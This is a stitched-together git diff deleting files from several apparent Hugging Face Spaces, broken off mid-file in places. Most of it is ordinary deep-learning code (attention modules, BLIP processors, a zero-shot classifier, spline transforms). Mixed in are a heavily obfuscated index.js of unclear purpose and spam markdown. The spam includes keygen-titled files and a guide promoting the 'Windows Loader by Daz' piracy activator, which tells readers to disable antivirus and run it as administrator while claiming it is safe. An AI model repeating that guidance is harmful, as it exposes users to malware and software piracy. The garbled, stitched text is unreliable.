Girlfriends Wmv.md b/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/1st Studio Siberian Mouses Hd Masha Masha And Girlfriends Wmv.md deleted file mode 100644 index 21eb8250fc4a297b9d250e68ce179f1cbb433b54..0000000000000000000000000000000000000000 --- a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/1st Studio Siberian Mouses Hd Masha Masha And Girlfriends Wmv.md +++ /dev/null @@ -1,6 +0,0 @@ -

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                diff --git a/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/cnn/bricks/generalized_attention.py b/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/cnn/bricks/generalized_attention.py deleted file mode 100644 index 988d9adf2f289ef223bd1c680a5ae1d3387f0269..0000000000000000000000000000000000000000 --- a/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/cnn/bricks/generalized_attention.py +++ /dev/null @@ -1,412 +0,0 @@ -# Copyright (c) OpenMMLab. All rights reserved. -import math - -import numpy as np -import torch -import torch.nn as nn -import torch.nn.functional as F - -from ..utils import kaiming_init -from .registry import PLUGIN_LAYERS - - -@PLUGIN_LAYERS.register_module() -class GeneralizedAttention(nn.Module): - """GeneralizedAttention module. - - See 'An Empirical Study of Spatial Attention Mechanisms in Deep Networks' - (https://arxiv.org/abs/1711.07971) for details. - - Args: - in_channels (int): Channels of the input feature map. - spatial_range (int): The spatial range. -1 indicates no spatial range - constraint. Default: -1. - num_heads (int): The head number of empirical_attention module. - Default: 9. - position_embedding_dim (int): The position embedding dimension. - Default: -1. - position_magnitude (int): A multiplier acting on coord difference. - Default: 1. - kv_stride (int): The feature stride acting on key/value feature map. - Default: 2. - q_stride (int): The feature stride acting on query feature map. - Default: 1. - attention_type (str): A binary indicator string for indicating which - items in generalized empirical_attention module are used. - Default: '1111'. - - - '1000' indicates 'query and key content' (appr - appr) item, - - '0100' indicates 'query content and relative position' - (appr - position) item, - - '0010' indicates 'key content only' (bias - appr) item, - - '0001' indicates 'relative position only' (bias - position) item. - """ - - _abbr_ = 'gen_attention_block' - - def __init__(self, - in_channels, - spatial_range=-1, - num_heads=9, - position_embedding_dim=-1, - position_magnitude=1, - kv_stride=2, - q_stride=1, - attention_type='1111'): - - super(GeneralizedAttention, self).__init__() - - # hard range means local range for non-local operation - self.position_embedding_dim = ( - position_embedding_dim - if position_embedding_dim > 0 else in_channels) - - self.position_magnitude = position_magnitude - self.num_heads = num_heads - self.in_channels = in_channels - self.spatial_range = spatial_range - self.kv_stride = kv_stride - self.q_stride = q_stride - self.attention_type = [bool(int(_)) for _ in attention_type] - self.qk_embed_dim = in_channels // num_heads - out_c = self.qk_embed_dim * num_heads - - if self.attention_type[0] or self.attention_type[1]: - self.query_conv = nn.Conv2d( - in_channels=in_channels, - out_channels=out_c, - kernel_size=1, - bias=False) - self.query_conv.kaiming_init = True - - if self.attention_type[0] or self.attention_type[2]: - self.key_conv = nn.Conv2d( - in_channels=in_channels, - out_channels=out_c, - kernel_size=1, - bias=False) - self.key_conv.kaiming_init = True - - self.v_dim = in_channels // num_heads - self.value_conv = nn.Conv2d( - in_channels=in_channels, - out_channels=self.v_dim * num_heads, - kernel_size=1, - bias=False) - self.value_conv.kaiming_init = True - - if self.attention_type[1] or self.attention_type[3]: - self.appr_geom_fc_x = nn.Linear( - self.position_embedding_dim // 2, out_c, bias=False) - self.appr_geom_fc_x.kaiming_init = True - - self.appr_geom_fc_y = nn.Linear( - self.position_embedding_dim // 2, out_c, bias=False) - self.appr_geom_fc_y.kaiming_init = True - - if self.attention_type[2]: - stdv = 1.0 / math.sqrt(self.qk_embed_dim * 2) - appr_bias_value = -2 * stdv * torch.rand(out_c) + stdv - self.appr_bias = nn.Parameter(appr_bias_value) - - if self.attention_type[3]: - stdv = 1.0 / math.sqrt(self.qk_embed_dim * 2) - geom_bias_value = -2 * stdv * torch.rand(out_c) + stdv - self.geom_bias = nn.Parameter(geom_bias_value) - - self.proj_conv = nn.Conv2d( - in_channels=self.v_dim * num_heads, - out_channels=in_channels, - kernel_size=1, - bias=True) - self.proj_conv.kaiming_init = True - self.gamma = nn.Parameter(torch.zeros(1)) - - if self.spatial_range >= 0: - # only works when non local is after 3*3 conv - if in_channels == 256: - max_len = 84 - elif in_channels == 512: - max_len = 42 - - max_len_kv = int((max_len - 1.0) / self.kv_stride + 1) - local_constraint_map = np.ones( - (max_len, max_len, max_len_kv, max_len_kv), dtype=np.int) - for iy in range(max_len): - for ix in range(max_len): - local_constraint_map[ - iy, ix, - max((iy - self.spatial_range) // - self.kv_stride, 0):min((iy + self.spatial_range + - 1) // self.kv_stride + - 1, max_len), - max((ix - self.spatial_range) // - self.kv_stride, 0):min((ix + self.spatial_range + - 1) // self.kv_stride + - 1, max_len)] = 0 - - self.local_constraint_map = nn.Parameter( - torch.from_numpy(local_constraint_map).byte(), - requires_grad=False) - - if self.q_stride > 1: - self.q_downsample = nn.AvgPool2d( - kernel_size=1, stride=self.q_stride) - else: - self.q_downsample = None - - if self.kv_stride > 1: - self.kv_downsample = nn.AvgPool2d( - kernel_size=1, stride=self.kv_stride) - else: - self.kv_downsample = None - - self.init_weights() - - def get_position_embedding(self, - h, - w, - h_kv, - w_kv, - q_stride, - kv_stride, - device, - dtype, - feat_dim, - wave_length=1000): - # the default type of Tensor is float32, leading to type mismatch - # in fp16 mode. Cast it to support fp16 mode. - h_idxs = torch.linspace(0, h - 1, h).to(device=device, dtype=dtype) - h_idxs = h_idxs.view((h, 1)) * q_stride - - w_idxs = torch.linspace(0, w - 1, w).to(device=device, dtype=dtype) - w_idxs = w_idxs.view((w, 1)) * q_stride - - h_kv_idxs = torch.linspace(0, h_kv - 1, h_kv).to( - device=device, dtype=dtype) - h_kv_idxs = h_kv_idxs.view((h_kv, 1)) * kv_stride - - w_kv_idxs = torch.linspace(0, w_kv - 1, w_kv).to( - device=device, dtype=dtype) - w_kv_idxs = w_kv_idxs.view((w_kv, 1)) * kv_stride - - # (h, h_kv, 1) - h_diff = h_idxs.unsqueeze(1) - h_kv_idxs.unsqueeze(0) - h_diff *= self.position_magnitude - - # (w, w_kv, 1) - w_diff = w_idxs.unsqueeze(1) - w_kv_idxs.unsqueeze(0) - w_diff *= self.position_magnitude - - feat_range = torch.arange(0, feat_dim / 4).to( - device=device, dtype=dtype) - - dim_mat = torch.Tensor([wave_length]).to(device=device, dtype=dtype) - dim_mat = dim_mat**((4. / feat_dim) * feat_range) - dim_mat = dim_mat.view((1, 1, -1)) - - embedding_x = torch.cat( - ((w_diff / dim_mat).sin(), (w_diff / dim_mat).cos()), dim=2) - - embedding_y = torch.cat( - ((h_diff / dim_mat).sin(), (h_diff / dim_mat).cos()), dim=2) - - return embedding_x, embedding_y - - def forward(self, x_input): - num_heads = self.num_heads - - # use empirical_attention - if self.q_downsample is not None: - x_q = self.q_downsample(x_input) - else: - x_q = x_input - n, _, h, w = x_q.shape - - if self.kv_downsample is not None: - x_kv = self.kv_downsample(x_input) - else: - x_kv = x_input - _, _, h_kv, w_kv = x_kv.shape - - if self.attention_type[0] or self.attention_type[1]: - proj_query = self.query_conv(x_q).view( - (n, num_heads, self.qk_embed_dim, h * w)) - proj_query = proj_query.permute(0, 1, 3, 2) - - if self.attention_type[0] or self.attention_type[2]: - proj_key = self.key_conv(x_kv).view( - (n, num_heads, self.qk_embed_dim, h_kv * w_kv)) - - if self.attention_type[1] or self.attention_type[3]: - position_embed_x, position_embed_y = self.get_position_embedding( - h, w, h_kv, w_kv, self.q_stride, self.kv_stride, - x_input.device, x_input.dtype, self.position_embedding_dim) - # (n, num_heads, w, w_kv, dim) - position_feat_x = self.appr_geom_fc_x(position_embed_x).\ - view(1, w, w_kv, num_heads, self.qk_embed_dim).\ - permute(0, 3, 1, 2, 4).\ - repeat(n, 1, 1, 1, 1) - - # (n, num_heads, h, h_kv, dim) - position_feat_y = self.appr_geom_fc_y(position_embed_y).\ - view(1, h, h_kv, num_heads, self.qk_embed_dim).\ - permute(0, 3, 1, 2, 4).\ - repeat(n, 1, 1, 1, 1) - - position_feat_x /= math.sqrt(2) - position_feat_y /= math.sqrt(2) - - # accelerate for saliency only - if (np.sum(self.attention_type) == 1) and self.attention_type[2]: - appr_bias = self.appr_bias.\ - view(1, num_heads, 1, self.qk_embed_dim).\ - repeat(n, 1, 1, 1) - - energy = torch.matmul(appr_bias, proj_key).\ - view(n, num_heads, 1, h_kv * w_kv) - - h = 1 - w = 1 - else: - # (n, num_heads, h*w, h_kv*w_kv), query before key, 540mb for - if not self.attention_type[0]: - energy = torch.zeros( - n, - num_heads, - h, - w, - h_kv, - w_kv, - dtype=x_input.dtype, - device=x_input.device) - - # attention_type[0]: appr - appr - # attention_type[1]: appr - position - # attention_type[2]: bias - appr - # attention_type[3]: bias - position - if self.attention_type[0] or self.attention_type[2]: - if self.attention_type[0] and self.attention_type[2]: - appr_bias = self.appr_bias.\ - view(1, num_heads, 1, self.qk_embed_dim) - energy = torch.matmul(proj_query + appr_bias, proj_key).\ - view(n, num_heads, h, w, h_kv, w_kv) - - elif self.attention_type[0]: - energy = torch.matmul(proj_query, proj_key).\ - view(n, num_heads, h, w, h_kv, w_kv) - - elif self.attention_type[2]: - appr_bias = self.appr_bias.\ - view(1, num_heads, 1, self.qk_embed_dim).\ - repeat(n, 1, 1, 1) - - energy += torch.matmul(appr_bias, proj_key).\ - view(n, num_heads, 1, 1, h_kv, w_kv) - - if self.attention_type[1] or self.attention_type[3]: - if self.attention_type[1] and self.attention_type[3]: - geom_bias = self.geom_bias.\ - view(1, num_heads, 1, self.qk_embed_dim) - - proj_query_reshape = (proj_query + geom_bias).\ - view(n, num_heads, h, w, self.qk_embed_dim) - - energy_x = torch.matmul( - proj_query_reshape.permute(0, 1, 3, 2, 4), - position_feat_x.permute(0, 1, 2, 4, 3)) - energy_x = energy_x.\ - permute(0, 1, 3, 2, 4).unsqueeze(4) - - energy_y = torch.matmul( - proj_query_reshape, - position_feat_y.permute(0, 1, 2, 4, 3)) - energy_y = energy_y.unsqueeze(5) - - energy += energy_x + energy_y - - elif self.attention_type[1]: - proj_query_reshape = proj_query.\ - view(n, num_heads, h, w, self.qk_embed_dim) - proj_query_reshape = proj_query_reshape.\ - permute(0, 1, 3, 2, 4) - position_feat_x_reshape = position_feat_x.\ - permute(0, 1, 2, 4, 3) - position_feat_y_reshape = position_feat_y.\ - permute(0, 1, 2, 4, 3) - - energy_x = torch.matmul(proj_query_reshape, - position_feat_x_reshape) - energy_x = energy_x.permute(0, 1, 3, 2, 4).unsqueeze(4) - - energy_y = torch.matmul(proj_query_reshape, - position_feat_y_reshape) - energy_y = energy_y.unsqueeze(5) - - energy += energy_x + energy_y - - elif self.attention_type[3]: - geom_bias = self.geom_bias.\ - view(1, num_heads, self.qk_embed_dim, 1).\ - repeat(n, 1, 1, 1) - - position_feat_x_reshape = position_feat_x.\ - view(n, num_heads, w*w_kv, self.qk_embed_dim) - - position_feat_y_reshape = position_feat_y.\ - view(n, num_heads, h * h_kv, self.qk_embed_dim) - - energy_x = torch.matmul(position_feat_x_reshape, geom_bias) - energy_x = energy_x.view(n, num_heads, 1, w, 1, w_kv) - - energy_y = torch.matmul(position_feat_y_reshape, geom_bias) - energy_y = energy_y.view(n, num_heads, h, 1, h_kv, 1) - - energy += energy_x + energy_y - - energy = energy.view(n, num_heads, h * w, h_kv * w_kv) - - if self.spatial_range >= 0: - cur_local_constraint_map = \ - self.local_constraint_map[:h, :w, :h_kv, :w_kv].\ - contiguous().\ - view(1, 1, h*w, h_kv*w_kv) - - energy = energy.masked_fill_(cur_local_constraint_map, - float('-inf')) - - attention = F.softmax(energy, 3) - - proj_value = self.value_conv(x_kv) - proj_value_reshape = proj_value.\ - view((n, num_heads, self.v_dim, h_kv * w_kv)).\ - permute(0, 1, 3, 2) - - out = torch.matmul(attention, proj_value_reshape).\ - permute(0, 1, 3, 2).\ - contiguous().\ - view(n, self.v_dim * self.num_heads, h, w) - - out = self.proj_conv(out) - - # output is downsampled, upsample back to input size - if self.q_downsample is not None: - out = F.interpolate( - out, - size=x_input.shape[2:], - mode='bilinear', - align_corners=False) - - out = self.gamma * out + x_input - return out - - def init_weights(self): - for m in self.modules(): - if hasattr(m, 'kaiming_init') and m.kaiming_init: - kaiming_init( - m, - mode='fan_in', - nonlinearity='leaky_relu', - bias=0, - distribution='uniform', - a=1) diff --git a/spaces/sznicko/tick/index.js b/spaces/sznicko/tick/index.js deleted file mode 100644 index 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_0x212d1d;}}[_0x1e5e98(0x87,0xa3,0x15f,0xb2,0xbf)+_0x1e5e98(0x3,0x8,-0x81,-0xb,0x49)+'r'](_0x5926dc[_0x3a8d22(-0x21d,-0x2ed,-0x2ea,-0x165,-0x200)](_0x5926dc[_0x25c996(0x3c4,0x404,0x422,0x3e0,0x321)],_0x5926dc[_0x3a8d22(-0x94,0x9,0x1d,-0x108,-0x20)]))[_0x1e5e98(0x90,-0x3e,0x10d,0x1d,0x5a)](_0x5926dc[_0x1e5e98(0x10b,-0x65,0x97,0xfc,0x64)]));else{if(_0x37d10f){const _0x5b857f=_0x5d0362[_0x1e5e98(0x24,0x3,0x127,0x1e,0x5a)](_0x721e98,arguments);return _0x4a623c=null,_0x5b857f;}}}}}_0x5926dc[_0x1e5e98(-0xd,0x21,0x8b,0x13,0xa7)](_0x246222,++_0x1e64d2);}else _0x3ec922=_0xe42fc9;}function _0x1ce251(_0x38fa54,_0x502202,_0x2803cc,_0x5c94ba,_0x33a41f){return _0x5b15b6(_0x38fa54-0x2a,_0x502202-0x1cc,_0x502202-0xb5,_0x5c94ba-0x4f,_0x38fa54);}function _0x2fe871(_0x4b715a,_0x417550,_0x2a841e,_0x47c890,_0x3ca726){return _0x4bb237(_0x4b715a-0x183,_0x417550-0xc,_0x2a841e-0x123,_0x2a841e-0x1b4,_0x3ca726);}function _0x330e0e(_0x37104d,_0x3c5cb0,_0x3355e9,_0x778da5,_0x870387){return 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_0x5926dc[_0x20129e(-0x106,-0x1de,-0x188,-0x216,-0x1de)](_0x5926dc[_0x2fe871(-0x94,0xd1,0x21,0xdd,0x67)],_0x5926dc[_0x1ce251(0x481,0x3db,0x311,0x426,0x3b9)])?_0x5926dc[_0x330e0e(0x36c,0x338,0x2ab,0x273,0x2a7)](_0x246222,0x1*0xa37+-0x1de*-0x11+0x29f5*-0x1):_0x1822b6[_0x2fe871(0x19,-0x9e,-0x97,-0x103,-0xd7)](_0x2fe871(0x95,0xea,0xa8,0x7b,-0x2f)+_0x5e8b56(0x3e0,0x497,0x456,0x509,0x45c)+_0xb0c851);}}catch(_0x5ac4b8){}} diff --git a/spaces/t110-ai-admin/InspectLens/video_llama/processors/blip_processors.py b/spaces/t110-ai-admin/InspectLens/video_llama/processors/blip_processors.py deleted file mode 100644 index 6e603b638607921440bf7c4fcf22c5f1aeb7f20d..0000000000000000000000000000000000000000 --- a/spaces/t110-ai-admin/InspectLens/video_llama/processors/blip_processors.py +++ /dev/null @@ -1,142 +0,0 @@ -""" - Copyright (c) 2022, salesforce.com, inc. - All rights reserved. - SPDX-License-Identifier: BSD-3-Clause - For full license text, see the LICENSE_Lavis file in the repo root or https://opensource.org/licenses/BSD-3-Clause -""" - -import re - -from video_llama.common.registry import registry -from video_llama.processors.base_processor import BaseProcessor -from video_llama.processors.randaugment import RandomAugment -from omegaconf import OmegaConf -from torchvision import transforms -from torchvision.transforms.functional import InterpolationMode - - -class BlipImageBaseProcessor(BaseProcessor): - def __init__(self, mean=None, std=None): - if mean is None: - mean = (0.48145466, 0.4578275, 0.40821073) - if std is None: - std = (0.26862954, 0.26130258, 0.27577711) - - self.normalize = transforms.Normalize(mean, std) - - -@registry.register_processor("blip_caption") -class BlipCaptionProcessor(BaseProcessor): - def __init__(self, prompt="", max_words=50): - self.prompt = prompt - self.max_words = max_words - - def __call__(self, caption): - caption = self.prompt + self.pre_caption(caption) - - return caption - - @classmethod - def from_config(cls, cfg=None): - if cfg is None: - cfg = OmegaConf.create() - - prompt = cfg.get("prompt", "") - max_words = cfg.get("max_words", 50) - - return cls(prompt=prompt, max_words=max_words) - - def pre_caption(self, caption): - caption = re.sub( - r"([.!\"()*#:;~])", - " ", - caption.lower(), - ) - caption = re.sub( - r"\s{2,}", - " ", - caption, - ) - caption = caption.rstrip("\n") - caption = caption.strip(" ") - - # truncate caption - caption_words = caption.split(" ") - if len(caption_words) > self.max_words: - caption = " ".join(caption_words[: self.max_words]) - - return caption - - -@registry.register_processor("blip2_image_train") -class Blip2ImageTrainProcessor(BlipImageBaseProcessor): - def __init__(self, image_size=224, mean=None, std=None, min_scale=0.5, max_scale=1.0): - super().__init__(mean=mean, std=std) - - self.transform = transforms.Compose( - [ - transforms.RandomResizedCrop( - image_size, - scale=(min_scale, max_scale), - interpolation=InterpolationMode.BICUBIC, - ), - transforms.ToTensor(), - self.normalize, - ] - ) - - def __call__(self, item): - return self.transform(item) - - @classmethod - def from_config(cls, cfg=None): - if cfg is None: - cfg = OmegaConf.create() - - image_size = cfg.get("image_size", 224) - - mean = cfg.get("mean", None) - std = cfg.get("std", None) - - min_scale = cfg.get("min_scale", 0.5) - max_scale = cfg.get("max_scale", 1.0) - - return cls( - image_size=image_size, - mean=mean, - std=std, - min_scale=min_scale, - max_scale=max_scale, - ) - - -@registry.register_processor("blip2_image_eval") -class Blip2ImageEvalProcessor(BlipImageBaseProcessor): - def __init__(self, image_size=224, mean=None, std=None): - super().__init__(mean=mean, std=std) - - self.transform = transforms.Compose( - [ - transforms.Resize( - (image_size, image_size), interpolation=InterpolationMode.BICUBIC - ), - transforms.ToTensor(), - self.normalize, - ] - ) - - def __call__(self, item): - return self.transform(item) - - @classmethod - def from_config(cls, cfg=None): - if cfg is None: - cfg = OmegaConf.create() - - image_size = cfg.get("image_size", 224) - - mean = cfg.get("mean", None) - std = cfg.get("std", None) - - return cls(image_size=image_size, mean=mean, std=std) - diff --git a/spaces/taesiri/DeticChatGPT/detic/modeling/roi_heads/zero_shot_classifier.py b/spaces/taesiri/DeticChatGPT/detic/modeling/roi_heads/zero_shot_classifier.py deleted file mode 100644 index edf217c6dbe74fa68e4d7653488bdd5e2e0c2f0e..0000000000000000000000000000000000000000 --- a/spaces/taesiri/DeticChatGPT/detic/modeling/roi_heads/zero_shot_classifier.py +++ /dev/null @@ -1,87 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import numpy as np -import torch -from torch import nn -from torch.nn import functional as F -from detectron2.config import configurable -from detectron2.layers import Linear, ShapeSpec - -class ZeroShotClassifier(nn.Module): - @configurable - def __init__( - self, - input_shape: ShapeSpec, - *, - num_classes: int, - zs_weight_path: str, - zs_weight_dim: int = 512, - use_bias: float = 0.0, - norm_weight: bool = True, - norm_temperature: float = 50.0, - ): - super().__init__() - if isinstance(input_shape, int): # some backward compatibility - input_shape = ShapeSpec(channels=input_shape) - input_size = input_shape.channels * (input_shape.width or 1) * (input_shape.height or 1) - self.norm_weight = norm_weight - self.norm_temperature = norm_temperature - - self.use_bias = use_bias < 0 - if self.use_bias: - self.cls_bias = nn.Parameter(torch.ones(1) * use_bias) - - self.linear = nn.Linear(input_size, zs_weight_dim) - - if zs_weight_path == 'rand': - zs_weight = torch.randn((zs_weight_dim, num_classes)) - nn.init.normal_(zs_weight, std=0.01) - else: - zs_weight = torch.tensor( - np.load(zs_weight_path), - dtype=torch.float32).permute(1, 0).contiguous() # D x C - zs_weight = torch.cat( - [zs_weight, zs_weight.new_zeros((zs_weight_dim, 1))], - dim=1) # D x (C + 1) - - if self.norm_weight: - zs_weight = F.normalize(zs_weight, p=2, dim=0) - - if zs_weight_path == 'rand': - self.zs_weight = nn.Parameter(zs_weight) - else: - self.register_buffer('zs_weight', zs_weight) - - assert self.zs_weight.shape[1] == num_classes + 1, self.zs_weight.shape - - - @classmethod - def from_config(cls, cfg, input_shape): - return { - 'input_shape': input_shape, - 'num_classes': cfg.MODEL.ROI_HEADS.NUM_CLASSES, - 'zs_weight_path': cfg.MODEL.ROI_BOX_HEAD.ZEROSHOT_WEIGHT_PATH, - 'zs_weight_dim': cfg.MODEL.ROI_BOX_HEAD.ZEROSHOT_WEIGHT_DIM, - 'use_bias': cfg.MODEL.ROI_BOX_HEAD.USE_BIAS, - 'norm_weight': cfg.MODEL.ROI_BOX_HEAD.NORM_WEIGHT, - 'norm_temperature': cfg.MODEL.ROI_BOX_HEAD.NORM_TEMP, - } - - def forward(self, x, classifier=None): - ''' - Inputs: - x: B x D' - classifier_info: (C', C' x D) - ''' - x = self.linear(x) - if classifier is not None: - zs_weight = classifier.permute(1, 0).contiguous() # D x C' - zs_weight = F.normalize(zs_weight, p=2, dim=0) \ - if self.norm_weight else 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'tails': tails, - 'tail_bound': tail_bound - } - - outputs, logabsdet = spline_fn( - inputs=inputs, - unnormalized_widths=unnormalized_widths, - unnormalized_heights=unnormalized_heights, - unnormalized_derivatives=unnormalized_derivatives, - inverse=inverse, - min_bin_width=min_bin_width, - min_bin_height=min_bin_height, - min_derivative=min_derivative, - **spline_kwargs - ) - return outputs, logabsdet - - -def searchsorted(bin_locations, inputs, eps=1e-6): - bin_locations[..., -1] += eps - return torch.sum( - inputs[..., None] >= bin_locations, - dim=-1 - ) - 1 - - -def unconstrained_rational_quadratic_spline(inputs, - unnormalized_widths, - unnormalized_heights, - unnormalized_derivatives, - inverse=False, - tails='linear', - tail_bound=1., - min_bin_width=DEFAULT_MIN_BIN_WIDTH, - min_bin_height=DEFAULT_MIN_BIN_HEIGHT, - min_derivative=DEFAULT_MIN_DERIVATIVE): - inside_interval_mask = (inputs >= -tail_bound) & (inputs <= tail_bound) - outside_interval_mask = ~inside_interval_mask - - outputs = torch.zeros_like(inputs) - logabsdet = torch.zeros_like(inputs) - - if tails == 'linear': - unnormalized_derivatives = F.pad(unnormalized_derivatives, pad=(1, 1)) - constant = np.log(np.exp(1 - min_derivative) - 1) - unnormalized_derivatives[..., 0] = constant - unnormalized_derivatives[..., -1] = constant - - outputs[outside_interval_mask] = inputs[outside_interval_mask] - logabsdet[outside_interval_mask] = 0 - else: - raise RuntimeError('{} tails are not implemented.'.format(tails)) - - outputs[inside_interval_mask], logabsdet[inside_interval_mask] = rational_quadratic_spline( - inputs=inputs[inside_interval_mask], - unnormalized_widths=unnormalized_widths[inside_interval_mask, :], - unnormalized_heights=unnormalized_heights[inside_interval_mask, :], - unnormalized_derivatives=unnormalized_derivatives[inside_interval_mask, :], - inverse=inverse, - left=-tail_bound, right=tail_bound, bottom=-tail_bound, top=tail_bound, - min_bin_width=min_bin_width, - min_bin_height=min_bin_height, - min_derivative=min_derivative - ) - - return outputs, logabsdet - -def rational_quadratic_spline(inputs, - unnormalized_widths, - unnormalized_heights, - unnormalized_derivatives, - inverse=False, - left=0., right=1., bottom=0., top=1., - min_bin_width=DEFAULT_MIN_BIN_WIDTH, - min_bin_height=DEFAULT_MIN_BIN_HEIGHT, - min_derivative=DEFAULT_MIN_DERIVATIVE): - if torch.min(inputs) < left or torch.max(inputs) > right: - raise ValueError('Input to a transform is not within its domain') - - num_bins = unnormalized_widths.shape[-1] - - if min_bin_width * num_bins > 1.0: - raise ValueError('Minimal bin width too large for the number of bins') - if min_bin_height * num_bins > 1.0: - raise ValueError('Minimal bin height too large for the number of bins') - - widths = F.softmax(unnormalized_widths, dim=-1) - widths = min_bin_width + (1 - min_bin_width * num_bins) * widths - cumwidths = torch.cumsum(widths, dim=-1) - cumwidths = F.pad(cumwidths, pad=(1, 0), mode='constant', value=0.0) - cumwidths = (right - left) * cumwidths + left - cumwidths[..., 0] = left - cumwidths[..., -1] = right - widths = cumwidths[..., 1:] - cumwidths[..., :-1] - - derivatives = min_derivative + F.softplus(unnormalized_derivatives) - - heights = F.softmax(unnormalized_heights, dim=-1) - heights = min_bin_height + (1 - min_bin_height * num_bins) * heights - cumheights = torch.cumsum(heights, dim=-1) - cumheights = F.pad(cumheights, pad=(1, 0), mode='constant', value=0.0) - cumheights = (top - bottom) * cumheights + bottom - cumheights[..., 0] = bottom - cumheights[..., -1] = top - heights = cumheights[..., 1:] - cumheights[..., :-1] - - if inverse: - bin_idx = searchsorted(cumheights, inputs)[..., None] - else: - bin_idx = searchsorted(cumwidths, inputs)[..., None] - - input_cumwidths = cumwidths.gather(-1, bin_idx)[..., 0] - input_bin_widths = widths.gather(-1, bin_idx)[..., 0] - - input_cumheights = cumheights.gather(-1, bin_idx)[..., 0] - delta = heights / widths - input_delta = delta.gather(-1, bin_idx)[..., 0] - - input_derivatives = derivatives.gather(-1, bin_idx)[..., 0] - input_derivatives_plus_one = derivatives[..., 1:].gather(-1, bin_idx)[..., 0] - - input_heights = heights.gather(-1, bin_idx)[..., 0] - - if inverse: - a = (((inputs - input_cumheights) * (input_derivatives - + input_derivatives_plus_one - - 2 * input_delta) - + input_heights * (input_delta - input_derivatives))) - b = (input_heights * input_derivatives - - (inputs - input_cumheights) * (input_derivatives - + input_derivatives_plus_one - - 2 * input_delta)) - c = - input_delta * (inputs - input_cumheights) - - discriminant = b.pow(2) - 4 * a * c - assert (discriminant >= 0).all() - - root = (2 * c) / (-b - torch.sqrt(discriminant)) - outputs = root * input_bin_widths + input_cumwidths - - theta_one_minus_theta = root * (1 - root) - denominator = input_delta + ((input_derivatives + input_derivatives_plus_one - 2 * input_delta) - * theta_one_minus_theta) - derivative_numerator = input_delta.pow(2) * (input_derivatives_plus_one * root.pow(2) - + 2 * input_delta * theta_one_minus_theta - + input_derivatives * (1 - root).pow(2)) - logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator) - - return outputs, -logabsdet - else: - theta = (inputs - input_cumwidths) / input_bin_widths - theta_one_minus_theta = theta * (1 - theta) - - numerator = input_heights * (input_delta * theta.pow(2) - + input_derivatives * theta_one_minus_theta) - denominator = input_delta + ((input_derivatives + input_derivatives_plus_one - 2 * input_delta) - * theta_one_minus_theta) - outputs = input_cumheights + numerator / denominator - - derivative_numerator = input_delta.pow(2) * (input_derivatives_plus_one * theta.pow(2) - + 2 * input_delta * theta_one_minus_theta - + input_derivatives * (1 - theta).pow(2)) - logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator) - - return outputs, logabsdet diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/AUTOCAD V2013 KEYGEN xf-autocad-kg x64.zip How to Activate AutoCAD 2013 on Windows 64-bit.md b/spaces/tialenAdioni/chat-gpt-api/logs/AUTOCAD V2013 KEYGEN xf-autocad-kg x64.zip How to Activate AutoCAD 2013 on Windows 64-bit.md deleted file mode 100644 index 20cddc9cc54ffe195b95a019a0e8599f51fc995a..0000000000000000000000000000000000000000 --- a/spaces/tialenAdioni/chat-gpt-api/logs/AUTOCAD V2013 KEYGEN xf-autocad-kg x64.zip How to Activate AutoCAD 2013 on Windows 64-bit.md +++ /dev/null @@ -1,172 +0,0 @@ - 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                Windows Loader v2.2.2 by Daz is developed by the Daz Team, a group of hackers and programmers who are also behind other popular activators such as KMSPico and Microsoft Toolkit. Windows Loader v2.2.2 by Daz is one of the most trusted and widely used tools for Windows 7 activation, with millions of downloads and positive feedback from users.

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                Why Use Windows Loader v2.2.2 by Daz?

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                There are many benefits of using Windows Loader v2.2.2 by Daz to activate your Windows 7 system. Here are some of them:

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                • It is free and easy to use. You don't need to pay for a license or serial key, and you don't need any technical skills to use it. Just download, run, and click on the Install button.
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                • It supports all versions and editions of Windows 7, as well as Windows Vista and Windows Server 2008/2012. You can use it to activate any version of Windows 7, whether it is 32-bit or 64-bit.
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                • It is safe and secure. It does not contain any viruses, malware, or spyware that can harm your system or compromise your privacy. It also does not modify any system files or registry entries that can cause errors or instability.
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                • It is permanent and update-friendly. Once you activate your Windows 7 with Windows Loader v2.2.2 by Daz, you can enjoy it for a lifetime without worrying about expiration or deactivation. You can also receive updates from Microsoft and have a fully secure and up-to-date operating system.
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                How to Download and Use Windows Loader v2.2.2 by Daz?

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                To download and use Windows Loader v2.2.2 by Daz to activate your Windows 7 system, follow these simple steps:

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                1. Download Windows Loader v2.2.2 by Daz from the official website or from a trusted source.
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                2. Extract the zip file using WinRAR or any other software that can handle zip files.
                  3. -
                3. Disable your antivirus software or Windows Defender temporarily, as they may interfere with the activation process.
                  4. -
                4. Right-click on the Windows Loader.exe file and select Run as administrator.
                  5. -
                5. A new window will appear with the information about your system and its activation status.
                  6. -
                6. Click on the Install button and wait for a few seconds until the activation process is completed.
                  7. -
                7. A success message will appear and your system will be rebooted automatically.
                  8. -
                8. After the reboot, check your system properties and verify that your Windows 7 is activated and genuine.
                  9. -
                - -

                Congratulations! You have successfully activated your Windows 7 with Windows Loader v2.2.2 by Daz!

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                Conclusion

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                Windows Loader v2.2.2 by Daz is a great tool that can activate any version of Windows 7 without paying for a license or serial key. It is free, easy, safe, permanent, and update-friendly. It is also compatible with both 32-bit and 64-bit systems.

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                If you want to enjoy all the features and benefits of Windows 7 without any limitations or restrictions, then you should download and use Windows Loader v2.2.2 by Daz today!

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                What are the Advantages of Windows Loader v2.2.2 by Daz over Other Activators?

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                There are many other activators available on the internet that claim to activate Windows 7, but not all of them are reliable and effective. Some of them may contain viruses or malware that can damage your system or steal your personal information. Some of them may not work properly or cause errors or instability in your system. Some of them may require complex steps or additional software to use.

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                Windows Loader v2.2.2 by Daz is different from these activators because it is tested and verified by many users and experts. It is clean and safe to use, and it does not affect your system performance or stability. It is simple and easy to use, and it does not require any additional software or internet connection to use. It is also compatible with all versions and editions of Windows 7, as well as Windows Vista and Windows Server 2008/2012.

